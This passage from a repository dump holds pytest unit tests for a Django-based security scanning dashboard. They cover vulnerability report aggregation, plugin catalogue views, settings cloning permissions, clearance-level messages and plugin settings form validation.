\"Other\", \"Web\"],\n        },\n        {\n            \"asset\": \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\",\n            \"vulnerabilities\": {\"CVE-2018-20677\": None, \"CVE-2019-8331\": None, \"RetireJS-jquerymigrate-f3a3\": None},\n            \"organisation\": \"test-test_multi_report-2\",\n            \"services\": [\"Web\"],\n        },\n        {\n            \"asset\": \"IPAddressV4|test|192.0.2.3\",\n            \"vulnerabilities\": {\"CVE-2018-20677\": None, \"CVE-2019-8331\": None, \"RetireJS-jquerymigrate-f3a3\": None},\n            \"organisation\": \"test-test_multi_report-2\",\n            \"services\": [\"Dicom\", \"Mail\", \"Other\", \"Web\"],\n        },\n    ]\n    assert multi_data[\"services\"] == {\n        \"Mail\": [\"IPAddressV4|test|192.0.2.3\", \"IPAddressV4|test|192.0.2.3\"],\n        \"Web\": [\n            \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\",\n            \"IPAddressV4|test|192.0.2.3\",\n            \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\",\n            \"IPAddressV4|test|192.0.2.3\",\n        ],\n        \"Dicom\": [\"IPAddressV4|test|192.0.2.3\", \"IPAddressV4|test|192.0.2.3\"],\n        \"Other\": [\"IPAddressV4|test|192.0.2.3\", \"IPAddressV4|test|192.0.2.3\"],\n    }\n    assert multi_data[\"basic_security\"][\"summary\"] == {\n        \"Mail\": {\n            \"rpki\": {\"number_of_compliant\": 2, \"total\": 2},\n            \"system_specific\": {\"number_of_compliant\": 2, \"total\": 2},\n            \"safe_connections\": {\"number_of_compliant\": 2, \"total\": 2},\n        },\n        \"Web\": {\n            \"rpki\": {\"number_of_compliant\": 4, \"total\": 4},\n            \"system_specific\": {\"number_of_compliant\": 4, \"total\": 4},\n            \"safe_connections\": {\"number_of_compliant\": 4, \"total\": 4},\n        },\n        \"Dicom\": {\n            \"rpki\": {\"number_of_compliant\": 2, \"total\": 2},\n            \"system_specific\": {\"number_of_compliant\": 0, \"total\": 0},\n            \"safe_connections\": {\"number_of_compliant\": 2, \"total\": 2},\n        },\n        \"Other\": {\n            \"rpki\": {\"number_of_compliant\": 2, \"total\": 2},\n            \"system_specific\": {\"number_of_compliant\": 0, \"total\": 0},\n            \"safe_connections\": {\"number_of_compliant\": 2, \"total\": 2},\n        },\n    }\n    assert multi_data[\"basic_security\"][\"safe_connections\"] == {\"number_of_available\": 10, \"number_of_ips\": 10}\n    assert multi_data[\"basic_security\"][\"system_specific\"] == {\n        \"Dicom\": {\"checks\": {}, \"total\": 0},\n        \"Mail\": {\"checks\": {\"DKIM\": 2, \"DMARC\": 2, \"SPF\": 2}, \"total\": 2},\n        \"Other\": {\"checks\": {}, \"total\": 0},\n        \"Web\": {\n            \"checks\": {\n                \"CSP Present\": 4,\n                \"Certificate is not expired\": 4,\n                \"Certificate is not expiring soon\": 4,\n                \"Has a Security.txt\": 4,\n                \"Has a certificate\": 4,\n                \"No unnecessary ports open\": 4,\n                \"Offers HTTPS\": 4,\n                \"Redirects HTTP to HTTPS\": 4,\n                \"Secure CSP Header\": 4,\n            },\n            \"total\": 4,\n        },\n    }\n    assert multi_data[\"basic_security\"][\"rpki\"] == {\n        \"Dicom\": {\"number_of_available\": 4, \"number_of_ips\": 4, \"number_of_valid\": 4, \"rpki_ips\": True},\n        \"Mail\": {\"number_of_available\": 4, \"number_of_ips\": 4, \"number_of_valid\": 4, \"rpki_ips\": True},\n        \"Other\": {\"number_of_available\": 4, \"number_of_ips\": 4, \"number_of_valid\": 4, \"rpki_ips\": True},\n        \"Web\": {\"number_of_available\": 4, \"number_of_ips\": 4, \"number_of_valid\": 4, \"rpki_ips\": True},\n    }\n    assert multi_data[\"system_vulnerabilities\"] == {\n        \"CVE-2018-20677\": {\"cvss\": None, \"Web\": 4, \"Dicom\": 2, \"Mail\": 2, \"Other\": 2},\n        \"CVE-2019-8331\": {\"cvss\": None, \"Web\": 4, \"Dicom\": 2, \"Mail\": 2, \"Other\": 2},\n        \"RetireJS-jquerymigrate-f3a3\": {\"cvss\": None, \"Web\": 4, \"Dicom\": 2, \"Mail\": 2, \"Other\": 2},\n    }\n    assert multi_data[\"ipv6\"] == {\n        \"Dicom\": {\"total\": 2, \"enabled\": 2},\n        \"Mail\": {\"total\": 2, \"enabled\": 2},\n        \"Other\": {\"total\": 2, \"enabled\": 2},\n        \"Web\": {\"total\": 2, \"enabled\": 2},\n    }\n    assert multi_data[\"recommendation_counts\"] == {\"Make sure there is a security.txt available.\": 2}\n"
  },
  {
    "path": "rocky/tests/katalogus/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/katalogus/test_katalogus.py",
    "content": "import pytest\nfrom django.core.exceptions import PermissionDenied\nfrom django.urls import resolve\nfrom katalogus.client import (\n    KATalogusClient,\n    KATalogusNotAllowedError,\n    parse_plugin,\n    valid_organization_code,\n    valid_plugin_id,\n)\nfrom katalogus.views.katalogus import AboutPluginsView, BoefjeListView, KATalogusView, NormalizerListView\nfrom katalogus.views.katalogus_settings import ConfirmCloneSettingsView, KATalogusSettingsView\nfrom katalogus.views.plugin_enable_disable import PluginEnableDisableView\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom rocky.health import ServiceHealth\nfrom tests.conftest import (\n    add_redteam_group_permissions,\n    create_member,\n    get_boefjes_data,\n    get_normalizers_data,\n    get_plugins_data,\n    setup_request,\n)\n\n\ndef test_valid_plugin_id():\n    with pytest.raises(ValueError):\n        valid_plugin_id(\"test test\")\n\n    with pytest.raises(ValueError):\n        valid_plugin_id(\"test$test\")\n\n    assert valid_plugin_id(\"123\") == \"123\"\n    assert valid_plugin_id(\"test-test\") == \"test-test\"\n\n\ndef test_valid_organization_code():\n    with pytest.raises(ValueError):\n        valid_organization_code(\"123 123\")\n\n    assert valid_organization_code(\"test-test\") == \"test-test\"\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_katalogus_plugin_listing(request, rf, member, mocker):\n    plugins = get_plugins_data()\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = plugins\n    member = request.getfixturevalue(member)\n\n    request = setup_request(rf.get(\"all_plugins_list\"), member.user)\n    request.resolver_match = mocker.Mock(url_name=\"all_plugins_list\")\n    response = KATalogusView.as_view()(request, organization_code=member.organization.code)\n    assert response.status_code == 200\n    assertContains(response, \"KAT-alogus\")\n    assertContains(response, \"An overview of all available plugins.\")\n\n    # active toolbar, only one link is active, \"All\"\n    assertContains(\n        response,\n        '<li aria-current=\"page\"><a href=\"/en/'\n        + member.organization.code\n        + '/kat-alogus/plugins/all/grid/\">All</a></li>',\n        html=True,\n    )\n    assertNotContains(\n        response,\n        '<li aria-current=\"page\"><a href=\"/en/' + member.organization.code + '/kat-alogus/\">Boefjes</a></li>',\n        html=True,\n    )\n    assertNotContains(\n        response,\n        '<li aria-current=\"page\"><a href=\"/en/' + member.organization.code + '/kat-alogus/\">Normalizers</a></li>',\n        html=True,\n    )\n    assertNotContains(\n        response,\n        '<li aria-current=\"page\"><a href=\"/en/' + member.organization.code + '/kat-alogus/\">About plugins</a></li>',\n        html=True,\n    )\n\n    assertContains(response, f\"<strong>{len(plugins)}</strong>Plugins available\", html=True)\n\n    # All plugins shows Boefjes and Normalizers, checking if one of each is available\n    assertContains(response, \"kat_adr_finding_types_normalize\")\n    assertContains(response, '<span class=\"label-plugin-type normalizer\">Normalizer</span>')\n\n    assertContains(response, \"binaryedge\")\n    assertContains(response, '<span class=\"label-plugin-type boefje\">Boefje</span>')\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_katalogus_plugin_listing_boefjes(request, rf, member, mocker):\n    boefjes = get_boefjes_data()\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = boefjes\n    member = request.getfixturevalue(member)\n\n    request = setup_request(rf.get(\"boefjes_list\"), member.user)\n    request.resolver_match = mocker.Mock(url_name=\"boefjes_list\")\n    response = BoefjeListView.as_view()(request, organization_code=member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Boefjes\")\n    assertContains(\n        response,\n        '<li aria-current=\"page\"><a href=\"/en/'\n        + member.organization.code\n        + '/kat-alogus/plugins/boefjes/grid/\">Boefjes</a></li>',\n        html=True,\n    )\n    assertContains(response, f\"<strong>{len(boefjes)}</strong>Boefjes available\", html=True)\n    assertNotContains(response, '<span class=\"label-plugin-type normalizer\">Normalizer</span>')\n    assertContains(response, '<span class=\"label-plugin-type boefje\">Boefje</span>')\n    assertContains(response, \"ssl-certificates\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_katalogus_plugin_listing_normalizers(request, rf, member, mocker):\n    normalizers = get_normalizers_data()\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = normalizers\n    member = request.getfixturevalue(member)\n\n    request = setup_request(rf.get(\"normalizers_list\"), member.user)\n    request.resolver_match = mocker.Mock(url_name=\"normalizers_list\")\n    response = NormalizerListView.as_view()(request, organization_code=member.organization.code)\n    assert response.status_code == 200\n\n    assertContains(response, \"Normalizers\")\n    assertContains(\n        response,\n        '<li aria-current=\"page\"><a href=\"/en/'\n        + member.organization.code\n        + '/kat-alogus/plugins/normalizers/grid/\">Normalizers</a></li>',\n        html=True,\n    )\n    assertContains(response, f\"<strong>{len(normalizers)}</strong>Normalizers available\", html=True)\n    assertContains(response, '<span class=\"label-plugin-type normalizer\">Normalizer</span>')\n    assertNotContains(response, '<span class=\"label-plugin-type boefje\">Boefje</span>')\n    assertNotContains(response, \"ssl-certificates\")\n    assertContains(response, \"binaryedge\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_katalogus_about_plugins(request, rf, member):\n    member = request.getfixturevalue(member)\n\n    response = AboutPluginsView.as_view()(\n        setup_request(rf.get(\"about_plugins\"), member.user), organization_code=member.organization.code\n    )\n    assert response.status_code == 200\n\n\ndef test_katalogus_plugin_listing_no_enable_disable_perm(rf, client_member, mocker):\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = get_plugins_data()\n\n    request = rf.get(\"/en/test/kat-alogus/plugins/all/grid/\")\n    request.resolver_match = resolve(request.path)\n    response = KATalogusView.as_view()(\n        setup_request(request, client_member.user), organization_code=client_member.organization.code\n    )\n    assert response.status_code == 200\n    assertContains(response, '<span class=\"label system-tag color-2\">Enabled</span>')\n    assertNotContains(response, '<button type=\"submit\" class=\"button ghost\">Enable</button>')\n    assertNotContains(response, '<button type=\"submit\" class=\"button ghost destructive\">Disable</button>')\n\n\ndef test_katalogus_settings_one_organization(redteam_member, rf, mocker):\n    # Mock katalogus calls: return right boefjes and settings\n    mock_katalogus = mocker.patch(\"katalogus.client.KATalogusClient\")\n    boefjes_data = get_boefjes_data()\n    mock_katalogus().get_boefjes.return_value = [parse_plugin(b) for b in boefjes_data if b[\"type\"] == \"boefje\"]\n    mock_katalogus().get_plugin_settings.return_value = {\"BINARYEDGE_API\": \"test\", \"Second\": \"value\"}\n\n    request = setup_request(rf.get(\"katalogus_settings\"), redteam_member.user)\n    response = KATalogusSettingsView.as_view()(request, organization_code=redteam_member.organization.code)\n    assert response.status_code == 200\n\n    assertContains(response, \"KAT-alogus settings\")\n    assertContains(response, \"Plugin\")\n    assertContains(response, \"Name\")\n    assertContains(response, \"Value\")\n    assertContains(response, \"BINARYEDGE_API\")\n    assertContains(response, \"test\")\n    assertNotContains(response, \"Clone settings\")\n    assertNotContains(response, \"Organizations:\")\n\n\ndef test_katalogus_settings_list_multiple_organization(redteam_member, organization_b, rf, mocker):\n    # Mock katalogus calls: return right boefjes and settings\n    mock_katalogus = mocker.patch(\"katalogus.client.KATalogusClient\")\n    boefjes_data = get_boefjes_data()\n    mock_katalogus().get_boefjes.return_value = [parse_plugin(b) for b in boefjes_data if b[\"type\"] == \"boefje\"]\n    mock_katalogus().get_plugin_settings.return_value = {\"BINARYEDGE_API\": \"test\"}\n\n    create_member(redteam_member.user, organization_b)\n\n    request = setup_request(rf.get(\"katalogus_settings\"), redteam_member.user)\n    response = KATalogusSettingsView.as_view()(request, organization_code=redteam_member.organization.code)\n    assert response.status_code == 200\n\n    assertContains(response, \"KAT-alogus settings\")\n    assertContains(response, \"Plugin\")\n    assertContains(response, \"Name\")\n    assertContains(response, \"Value\")\n    assertContains(response, \"BINARYEDGE_API\")\n    assertContains(response, \"test\")\n\n    assertContains(response, \"Clone settings\")  # Now they appear\n    assertContains(response, \"Organizations:\")  # Now they appear\n    assertContains(response, organization_b.name)\n\n\ndef test_katalogus_confirm_clone_settings(redteam_member, organization_b, rf, mock_models_octopoes, mocker):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    create_member(redteam_member.user, organization_b)\n\n    request = setup_request(rf.get(\"confirm_clone_settings\"), redteam_member.user)\n    response = ConfirmCloneSettingsView.as_view()(\n        request, organization_code=redteam_member.organization.code, to_organization=organization_b.code\n    )\n    assert response.status_code == 200\n\n    assertContains(response, \"Clone settings\")\n    assertContains(response, \"Be aware\")\n    assertContains(response, \"Are you sure\")\n    assertContains(response, \"Cancel\")\n    assertContains(response, \"Clone\")\n    assertContains(response, redteam_member.organization.name)\n    assertContains(response, organization_b.name)\n\n\ndef test_katalogus_clone_settings(redteam_member, organization_b, rf, mocker, mock_models_octopoes):\n    mock_katalogus = mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    member = create_member(redteam_member.user, organization_b)\n    add_redteam_group_permissions(member)\n\n    request = setup_request(rf.post(\"confirm_clone_settings\"), redteam_member.user)\n    response = ConfirmCloneSettingsView.as_view()(\n        request, organization_code=redteam_member.organization.code, to_organization=organization_b.code\n    )\n    assert response.status_code == 302\n\n    mock_katalogus().clone_all_configuration_to_organization.assert_called_once_with(\n        redteam_member.organization.code, organization_b.code\n    )\n\n\ndef test_katalogus_clone_settings_perm_to_organization(\n    redteam_member, organization_b, rf, mocker, mock_models_octopoes\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    create_member(redteam_member.user, organization_b)\n\n    request = setup_request(rf.post(\"confirm_clone_settings\"), redteam_member.user)\n    with pytest.raises(KATalogusNotAllowedError):\n        ConfirmCloneSettingsView.as_view()(\n            request, organization_code=redteam_member.organization.code, to_organization=organization_b.code\n        )\n\n\ndef test_katalogus_clone_settings_not_accessible_without_perms(\n    client_member, organization_b, rf, mocker, mock_models_octopoes\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    create_member(client_member.user, organization_b)\n\n    request = setup_request(rf.post(\"confirm_clone_settings\"), client_member.user)\n    with pytest.raises(PermissionDenied):\n        ConfirmCloneSettingsView.as_view()(\n            request, organization_code=client_member.organization.code, to_organization=organization_b.code\n        )\n\n\ndef test_katalogus_client_organization_not_exists(httpx_mock):\n    httpx_mock.add_response(status_code=404)\n\n    assert KATalogusClient(\"http://test\").organization_exists(\"test\") is False\n\n\ndef test_katalogus_client_organization_exists(mocker):\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_requests.Client().get().status_code = 200\n\n    client = KATalogusClient(\"test\")\n\n    assert client.organization_exists(\"test\") is True\n\n\ndef test_katalogus_client(httpx_mock):\n    httpx_mock.add_response(json={\"service\": \"test\", \"healthy\": False, \"version\": None, \"additional\": 2, \"results\": []})\n\n    client = KATalogusClient(\"http://test\")\n\n    assert isinstance(client.health(), ServiceHealth)\n    assert client.health().service == \"test\"\n    assert not client.health().healthy\n    assert client.health().additional == 2\n    assert client.health().results == []\n\n\ndef test_enable_disable_plugin_no_clearance(rf, redteam_member, mocker):\n    redteam_member.trusted_clearance_level = -1\n    redteam_member.acknowledged_clearance_level = -1\n    redteam_member.save()\n\n    plugin = get_boefjes_data()[0]\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = plugin\n\n    request = setup_request(rf.post(\"plugin_enable_disable\"), redteam_member.user)\n\n    response = PluginEnableDisableView.as_view()(\n        setup_request(request, redteam_member.user),\n        organization_code=redteam_member.organization.code,\n        plugin_type=plugin[\"type\"],\n        plugin_id=plugin[\"id\"],\n        plugin_state=False,\n    )\n\n    # redirects back to KAT-alogus\n    assert response.status_code == 302\n\n    assert (\n        list(request._messages).pop().message\n        == \"To enable \"\n        + plugin[\"name\"].title()\n        + \" you need at least a clearance level of L\"\n        + str(plugin[\"scan_level\"])\n        + \". \"\n        \"Your clearance level is not set. Go to your profile page to see your clearance \"\n        \"or contact the administrator to set a clearance level.\"\n    )\n\n\ndef test_enable_disable_plugin_no_clearance_other_text(rf, redteam_member, mocker):\n    redteam_member.trusted_clearance_level = 1\n    redteam_member.acknowledged_clearance_level = 1\n    redteam_member.save()\n\n    plugin = get_boefjes_data()[0]\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = plugin\n\n    request = setup_request(rf.post(\"plugin_enable_disable\"), redteam_member.user)\n\n    response = PluginEnableDisableView.as_view()(\n        setup_request(request, redteam_member.user),\n        organization_code=redteam_member.organization.code,\n        plugin_type=plugin[\"type\"],\n        plugin_id=plugin[\"id\"],\n        plugin_state=False,\n    )\n\n    # redirects back to KAT-alogus\n    assert response.status_code == 302\n\n    assert (\n        list(request._messages).pop().message\n        == \"To enable \"\n        + plugin[\"name\"].title()\n        + \" you need at least a clearance level of L\"\n        + str(plugin[\"scan_level\"])\n        + \". Your clearance level is L\"\n        + str(redteam_member.acknowledged_clearance_level)\n        + \". Contact your administrator to get a higher clearance level.\"\n    )\n\n\ndef test_enable_disable_plugin_has_clearance(rf, redteam_member, mocker):\n    plugin = get_boefjes_data()[0]\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = plugin\n\n    request = setup_request(rf.post(\"plugin_enable_disable\"), redteam_member.user)\n\n    response = PluginEnableDisableView.as_view()(\n        setup_request(request, redteam_member.user),\n        organization_code=redteam_member.organization.code,\n        plugin_type=plugin[\"type\"],\n        plugin_id=plugin[\"id\"],\n        plugin_state=False,\n    )\n\n    # redirects back to KAT-alogus\n    assert response.status_code == 302\n\n    assert list(request._messages).pop().message == \"Boefje '\" + plugin[\"name\"] + \"' enabled.\"\n\n\ndef test_enable_disable_normalizer(rf, redteam_member, mocker):\n    plugin = get_normalizers_data()[0]\n    mock_requests = mocker.patch(\"katalogus.client.httpx\")\n    mock_response = mocker.MagicMock()\n    mock_requests.Client().get.return_value = mock_response\n    mock_response.json.return_value = plugin\n\n    request = setup_request(rf.post(\"plugin_enable_disable\"), redteam_member.user)\n\n    response = PluginEnableDisableView.as_view()(\n        setup_request(request, redteam_member.user),\n        organization_code=redteam_member.organization.code,\n        plugin_type=plugin[\"type\"],\n        plugin_id=plugin[\"id\"],\n        plugin_state=False,\n    )\n\n    # redirects back to KAT-alogus\n    assert response.status_code == 302\n\n    assert list(request._messages).pop().message == \"Normalizer '\" + plugin[\"name\"] + \"' enabled.\"\n"
  },
  {
    "path": "rocky/tests/katalogus/test_katalogus_boefje_setup.py",
    "content": "from katalogus.views.boefje_setup import AddBoefjeVariantView, AddBoefjeView, EditBoefjeView\nfrom pytest_django.asserts import assertContains\n\nfrom tests.conftest import setup_request\n\n\ndef test_boefje_setup(rf, superuser_member):\n    request = setup_request(rf.get(\"boefje_setup\"), superuser_member.user)\n    response = AddBoefjeView.as_view()(request, organization_code=superuser_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Boefje setup\")\n    assertContains(response, \"Container image\")\n    assertContains(response, \"Name\")\n    assertContains(response, \"Description\")\n    assertContains(response, \"Arguments\")\n    assertContains(response, \"JSON Schema\")\n    assertContains(response, \"Input object type\")\n    assertContains(response, \"Output mime types\")\n    assertContains(response, \"Clearance level\")\n    assertContains(response, \"Create new Boefje\")\n\n\ndef test_boefje_variant_setup(rf, superuser_member, boefje_dns_records, mocker):\n    katalogus_mocker = mocker.patch(\"katalogus.client.KATalogusClient\")()\n    katalogus_mocker.get_plugin.return_value = boefje_dns_records\n    request = setup_request(rf.get(\"boefje_variant_setup\"), superuser_member.user)\n    response = AddBoefjeVariantView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_id=boefje_dns_records.id\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Boefje variant setup\")\n    assertContains(response, \"Container image\")\n    assertContains(response, \"Name\")\n    assertContains(response, \"Description\")\n    assertContains(response, \"Arguments\")\n    assertContains(response, \"JSON Schema\")\n    assertContains(response, \"Input object type\")\n    assertContains(response, \"Output mime types\")\n    assertContains(response, \"Clearance level\")\n    assertContains(response, \"Create variant\")\n\n\ndef test_edit_boefje_view(rf, superuser_member, boefje_dns_records, mocker):\n    katalogus_mocker = mocker.patch(\"katalogus.client.KATalogusClient\")()\n    katalogus_mocker.get_plugin.return_value = boefje_dns_records\n    request = setup_request(rf.get(\"edit_boefje\"), superuser_member.user)\n    response = EditBoefjeView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_id=boefje_dns_records.id\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Edit\")\n    assertContains(response, boefje_dns_records.name)\n    assertContains(response, \"Container image\")\n    assertContains(response, \"Name\")\n    assertContains(response, \"Description\")\n    assertContains(response, \"Arguments\")\n    assertContains(response, \"JSON Schema\")\n    assertContains(response, \"Input object type\")\n    assertContains(response, \"Output mime types\")\n    assertContains(response, \"Clearance level\")\n    assertContains(response, \"Save changes\")\n"
  },
  {
    "path": "rocky/tests/katalogus/test_katalogus_plugin_add.py",
    "content": "from django.urls import reverse\nfrom katalogus.views.plugin_settings_add import PluginSettingsAddView\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom tests.conftest import setup_request\n\n\ndef test_plugin_settings_add_view(rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n\n    request = setup_request(rf.get(\"plugin_settings_add\"), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"TestBoefje\")\n    assertContains(response, \"Add setting\")\n    assertContains(response, \"TEST_PROPERTY\")\n    assertContains(response, \"TEST_PROPERTY2\")\n    assertContains(response, \"Add settings and enable boefje\")\n\n\ndef test_plugin_settings_add_view_no_required(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema_no_required\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema_no_required\n\n    request = setup_request(rf.get(\"plugin_settings_add\"), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"TestBoefje\")\n    assertContains(response, \"Add setting\")\n    assertContains(response, \"TEST_PROPERTY\")\n    assertContains(response, \"TEST_PROPERTY2\")\n    assertContains(response, \"Add settings and enable boefje\")\n\n\ndef test_plugin_settings_add(rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    mock_mixins_katalogus.get_plugin_settings.return_value = {\"TEST_PROPERTY\": \"abc\"}\n\n    request = setup_request(rf.post(\"plugin_settings_add\", data={\"TEST_PROPERTY\": \"123\"}), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assert response.status_code == 302\n    assert list(request._messages).pop().message == \"Added settings for 'TestBoefje'\"\n\n\ndef test_plugin_settings_add_no_required(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema_no_required\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema_no_required\n    mock_mixins_katalogus.get_plugin_settings.return_value = {\"TEST_PROPERTY\": \"abc\"}\n\n    request = setup_request(rf.post(\"plugin_settings_add\", data={\"TEST_PROPERTY\": \"123\"}), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assert response.status_code == 302\n    assert list(request._messages).pop().message == \"Added settings for 'TestBoefje'\"\n\n\ndef test_plugin_settings_add_wrong_property_but_required(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    mock_mixins_katalogus.get_plugin_settings.return_value = {\"TEST_PROPERTY\": \"abc\"}\n\n    request = setup_request(rf.post(\"plugin_settings_add\", data={\"WRONG_PROPERTY\": 123}), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n    assertContains(response, \"Error\")\n    assertContains(response, \"This field is required.\")\n\n\ndef test_plugin_settings_add_string_too_long(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n    mock_mixins_katalogus.get_plugin_settings.return_value = {\"TEST_PROPERTY\": \"abc\"}\n\n    request = setup_request(rf.post(\"plugin_settings_add\", data={\"TEST_PROPERTY\": 129 * \"a\"}), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n    assertContains(response, \"Ensure this value has at most 128 characters (it has 129).\")\n    assertNotContains(response, \"Enter a whole number.\")\n\n\ndef test_plugin_settings_add_error_message_about_integer_for_string_type(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n\n    request = setup_request(\n        rf.post(\"plugin_settings_add\", data={\"TEST_PROPERTY\": \"abc\", \"TEST_PROPERTY2\": \"abc\"}), superuser_member.user\n    )\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"Error\")\n    assertContains(response, \"Enter a whole number.\")\n\n\ndef test_plugin_settings_add_error_message_about_integer_too_small(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n\n    request = setup_request(\n        rf.post(\"plugin_settings_add\", data={\"TEST_PROPERTY\": \"abc\", \"TEST_PROPERTY2\": 1}), superuser_member.user\n    )\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"Error\")\n    assertContains(response, \"1 is less than the minimum of 2\")\n\n\ndef test_plugin_settings_add_error_message_about_integer_too_big(\n    rf, superuser_member, mock_mixins_katalogus, plugin_details, plugin_schema\n):\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_schema.return_value = plugin_schema\n\n    request = setup_request(\n        rf.post(\"plugin_settings_add\", data={\"TEST_PROPERTY\": \"abc\", \"TEST_PROPERTY2\": 1000}), superuser_member.user\n    )\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assertContains(response, \"Error\")\n    assertContains(response, \"1000 is greater than the maximum of 200\")\n\n\ndef test_plugin_single_settings_add_view_no_schema(rf, superuser_member, mock_mixins_katalogus, plugin_details):\n    plugin_details.boefje_schema = None\n    mock_mixins_katalogus.get_plugin.return_value = plugin_details\n    mock_mixins_katalogus.get_plugin_settings.return_value = None\n\n    request = setup_request(rf.post(\"plugin_settings_add\", data={\"boefje_id\": 123}), superuser_member.user)\n    response = PluginSettingsAddView.as_view()(\n        request, organization_code=superuser_member.organization.code, plugin_type=\"boefje\", plugin_id=\"test-plugin\"\n    )\n\n    assert response.status_code == 302\n    mock_mixins_katalogus.upsert_plugin_settings.assert_not_called()\n\n    assert response.headers[\"Location\"] == reverse(\n        \"boefje_detail\", kwargs={\"organization_code\": superuser_member.organization.code, \"plugin_id\": \"test-boefje\"}\n    )\n    assert list(request._messages).pop().message == \"Trying to add settings to boefje without schema\"\n"
  },
  {
    "path": "rocky/tests/katalogus/test_katalogus_plugin_delete.py",
